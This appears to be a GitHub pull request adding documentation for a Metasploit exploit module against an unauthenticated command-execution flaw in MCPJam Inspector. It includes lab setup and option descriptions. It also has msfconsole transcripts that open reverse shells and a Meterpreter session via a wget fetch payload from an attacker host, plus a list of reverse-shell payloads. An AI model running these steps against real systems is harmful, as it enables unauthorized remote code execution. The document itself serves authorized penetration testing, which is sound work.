-
Notifications
You must be signed in to change notification settings - Fork 15k
Add MCPJam Inspector command execution exploit #21655
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,237 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| MCPJam Inspector is a local-first development and debugging tool for Model Context Protocol (MCP) servers. | ||
| Versions 1.4.6 and earlier have been tested as affected by an unauthenticated remote command execution vulnerability in the | ||
| `/api/mcp/connect` endpoint. The endpoint accepts a JSON `serverConfig` object with `command` and `args` fields | ||
| used to launch an MCP server. When MCPJam Inspector is exposed on a routable interface, a remote attacker can | ||
| supply an arbitrary command and execute code as the user running MCPJam Inspector. | ||
|
|
||
| The GitHub Security Advisory for CVE-2026-23744 states that affected versions are `<= 1.4.2`; however, local | ||
| testing of GitHub tags through `v1.4.6` also confirmed command execution through this module. Local testing found | ||
| that `v1.5.0` requires a session token for the connect endpoint and is not vulnerable to this unauthenticated | ||
| exploit path. This module currently provides a Unix command target only. | ||
|
|
||
| ## Testing | ||
|
|
||
| ### Setup a vulnerable MCPJam Inspector instance | ||
|
|
||
| The official MCPJam Inspector 1.4.2 container provides a reproducible test target. The application runs as the | ||
| unprivileged `node` user and listens on port 6274. The following command binds the vulnerable service to the local | ||
| host only: | ||
|
|
||
| ``` | ||
| docker run --rm -d --name mcpjam-v142 \ | ||
| -p 127.0.0.1:6274:6274 \ | ||
| mcpjam/mcp-inspector:v1.4.2 | ||
| ``` | ||
|
|
||
| Use an isolated test network and replace the loopback bind with an authorized lab interface only when testing from | ||
| a separate Metasploit host. Do not expose this intentionally vulnerable container to an untrusted network. | ||
|
|
||
| Alternatively, install Node.js and run the vulnerable npm package. MCPJam Inspector 1.4.2 binds the server to all | ||
| interfaces and uses port 6274 by default. The `SERVER_PORT` environment variable can be used to select a different | ||
| port. | ||
|
|
||
| ``` | ||
| SERVER_PORT=6274 npx @mcpjam/inspector@1.4.2 | ||
| ``` | ||
|
|
||
| To build from source instead, check out a vulnerable GitHub tag and run the production build: | ||
|
|
||
| ``` | ||
| git clone https://github.com/MCPJam/inspector.git | ||
| cd inspector | ||
| git checkout v1.4.2 | ||
| npm run install:deps | ||
| npm run build | ||
| SERVER_PORT=6274 node bin/start.js | ||
| ``` | ||
|
|
||
| Verify that the service is reachable: | ||
|
|
||
| ``` | ||
| curl http://192.0.2.10:6274/ | ||
| curl -i -X POST http://192.0.2.10:6274/api/mcp/connect \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d '{"serverId":"test"}' | ||
| ``` | ||
|
|
||
| A vulnerable service should return an MCPJam Inspector web UI on `/`. The incomplete `/api/mcp/connect` request | ||
| should return an error indicating that `serverConfig` is required. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start `msfconsole`. | ||
| 2. Run: `use exploit/multi/http/mcpjam_inspector_rce`. | ||
| 3. Set `RHOSTS`, `RPORT`, `SSL`, and `TARGETURI` as needed. | ||
| 4. Run `check`. | ||
| 5. For command-output testing, set `PAYLOAD` to `cmd/unix/generic`, set `FETCH_OUTPUT` to `true`, and set `CMD`. | ||
| 6. For a session, set a Unix command shell payload such as `cmd/unix/reverse_bash`, or a Linux command fetch payload | ||
| such as `cmd/linux/http/x64/meterpreter_reverse_tcp`. | ||
| 7. Run the module. | ||
|
|
||
| ## Options | ||
|
|
||
| ### FETCH_OUTPUT | ||
|
|
||
| When set to `true`, the module waits for the MCP tool command to finish and prints stdout/stderr from the MCP | ||
| response. This is useful with `cmd/unix/generic` and short diagnostic commands such as `id` or `uname -a`. | ||
|
|
||
| For reverse shell or other long-running session payloads, keep `FETCH_OUTPUT` set to `false` so the payload is | ||
| spawned asynchronously and the MCP tool call returns immediately. | ||
|
|
||
| ### EXEC_METHOD | ||
|
|
||
| The default `mcp_tool` method starts a transient Node.js stdio MCP server and executes the Metasploit payload | ||
| through the MCP tool API. This is the most reliable method because it satisfies the MCP handshake expected by | ||
| MCPJam Inspector. | ||
|
|
||
| The `direct_sh` method sends `/bin/sh -c <payload>` directly through `/api/mcp/connect`. It is useful for quick | ||
| manual testing but non-MCP payloads may cause the target to return an MCP connection error after command dispatch. | ||
|
|
||
| ### SERVER_ID | ||
|
|
||
| MCP server ID to use for the transient MCP connection. The module generates a random default when it is loaded. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### MCPJam Inspector 1.4.2 on Linux - check and command output | ||
|
|
||
| ``` | ||
| msf6 > use exploit/multi/http/mcpjam_inspector_rce | ||
| [*] No payload configured, defaulting to cmd/unix/reverse_netcat | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10 | ||
| RHOSTS => 192.0.2.10 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274 | ||
| RPORT => 6274 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false | ||
| SSL => false | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > check | ||
| [*] Starting transient Node.js MCP command server as server ID check-abc12345 | ||
| [+] 192.0.2.10:6274 - The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/generic | ||
| PAYLOAD => cmd/unix/generic | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT true | ||
| FETCH_OUTPUT => true | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set CMD id | ||
| CMD => id | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > run | ||
|
|
||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Starting transient Node.js MCP command server as server ID check-def67890 | ||
| [+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint | ||
| [*] Starting transient Node.js MCP command server as server ID msf-xyz12345 | ||
| [+] MCP command server connected | ||
| [*] Executing payload through MCP tools/execute | ||
| [*] Command result: uid=1000(node) gid=1000(node) groups=1000(node) | ||
| [*] Exploit completed, but no session was created. | ||
| ``` | ||
|
|
||
| The final `Exploit completed, but no session was created` message is expected for `cmd/unix/generic` because it | ||
| executes a command and does not create a Metasploit session. | ||
|
|
||
| ### MCPJam Inspector 1.4.2 on Linux - Unix reverse shell | ||
|
|
||
| ``` | ||
| msf6 > use exploit/multi/http/mcpjam_inspector_rce | ||
| [*] No payload configured, defaulting to cmd/unix/reverse_netcat | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10 | ||
| RHOSTS => 192.0.2.10 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274 | ||
| RPORT => 6274 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false | ||
| SSL => false | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/reverse_nodejs | ||
| PAYLOAD => cmd/unix/reverse_nodejs | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20 | ||
| LHOST => 192.0.2.20 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001 | ||
| LPORT => 9001 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > run | ||
|
|
||
| [*] Started reverse TCP handler on 192.0.2.20:9001 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Starting transient Node.js MCP command server as server ID check-ghijk123 | ||
| [+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint | ||
| [*] Starting transient Node.js MCP command server as server ID msf-lmnop456 | ||
| [+] MCP command server connected | ||
| [*] Executing payload through MCP tools/execute | ||
| [*] Command shell session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234) at 2026-01-17 12:00:00 +0000 | ||
|
|
||
| id | ||
| uid=1000(node) gid=1000(node) groups=1000(node) | ||
| ``` | ||
|
|
||
| ### MCPJam Inspector 1.4.2 Docker container - Linux x64 Meterpreter | ||
|
|
||
| The official container includes `wget` and provides a writable `/tmp` directory. Set the fetch host and callback | ||
| host to an address reachable from the container: | ||
|
|
||
| ``` | ||
| msf6 > use exploit/multi/http/mcpjam_inspector_rce | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10 | ||
| RHOSTS => 192.0.2.10 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274 | ||
| RPORT => 6274 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false | ||
| SSL => false | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp | ||
| PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_COMMAND WGET | ||
| FETCH_COMMAND => WGET | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_WRITABLE_DIR /tmp | ||
| FETCH_WRITABLE_DIR => /tmp | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_DELETE true | ||
| FETCH_DELETE => true | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_SRVHOST 192.0.2.20 | ||
| FETCH_SRVHOST => 192.0.2.20 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20 | ||
| LHOST => 192.0.2.20 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001 | ||
| LPORT => 9001 | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT false | ||
| FETCH_OUTPUT => false | ||
| msf6 exploit(multi/http/mcpjam_inspector_rce) > run | ||
|
|
||
| [*] Started reverse TCP handler on 192.0.2.20:9001 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint | ||
| [+] MCP command server connected | ||
| [*] Executing payload through MCP tools/execute | ||
| [*] Meterpreter session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234) | ||
|
|
||
| meterpreter > getuid | ||
| Server username: node | ||
| meterpreter > sysinfo | ||
| Architecture : x64 | ||
| Meterpreter : x64/linux | ||
| ``` | ||
|
|
||
| ## Tested Payloads | ||
|
|
||
| The following Unix command payloads were tested successfully against Linux MCPJam Inspector deployments: | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'd love to see a meterpreter payload included in the testing- something like
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Addressed and tested in da5dfb2. I expanded the target metadata to Unix/Linux, removed the PayloadType compatibility restriction that excluded Linux command-fetch adapters, and defaulted FETCH_COMMAND to WGET for this target. Confirmed I can successfully open cmd/linux/http/x64/meterpreter_reverse_tcp as the node user on the official v1.4.2 Linux x64 container and added the scenario to the documentation. |
||
|
|
||
| * `cmd/unix/generic` | ||
| * `cmd/unix/reverse_bash` | ||
| * `cmd/unix/reverse_nodejs` | ||
| * `cmd/unix/reverse_perl` | ||
| * `cmd/unix/reverse_python` | ||
| * `cmd/unix/reverse_netcat` | ||
| * `cmd/unix/bind_nodejs` | ||
| * `cmd/unix/python/pingback_reverse_tcp` | ||
| * `cmd/unix/python/shell_reverse_tcp` | ||
| * `cmd/linux/http/x64/meterpreter_reverse_tcp` | ||
|
|
||
| Other `cmd/unix` payloads may also work if the required interpreter or utility is present on the target and the | ||
| network path is permitted. | ||
|
|
||
| ## Tested Versions | ||
|
|
||
| The module was tested successfully against MCPJam Inspector `v1.4.1`, `v1.4.2`, `v1.4.3`, `v1.4.4`, `v1.4.5`, | ||
| and `v1.4.6` built from the GitHub source repository. The first fixed GitHub tag identified during testing was | ||
| `v1.5.0`; the `v2.23.0` tag also required session-token authentication for the relevant API endpoints. The module | ||
| was also tested against the official `mcpjam/mcp-inspector:v1.4.2` Linux x64 container and two Linux lab deployments | ||
| exposing MCPJam Inspector over HTTP/HTTPS. | ||
|
|
||
| When the check method receives an authentication response such as `Unauthorized` or `Session token required` from | ||
| the connect endpoint, it reports the target as not exploitable by this unauthenticated module. | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would a docker container like https://hub.docker.com/layers/mcpjam/mcp-inspector/v1.4.2/images/sha256-b80bee6d8b2be2d3b8dd631d14eecc3fd861dd10fb4bbc2a2f29e7578aabe98b work?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Addressed in da5dfb2. I added the official mcpjam/mcp-inspector:v1.4.2 container as the primary reproducible test setup, kept the npm/source-build alternatives, and validated both check and command execution against the official container.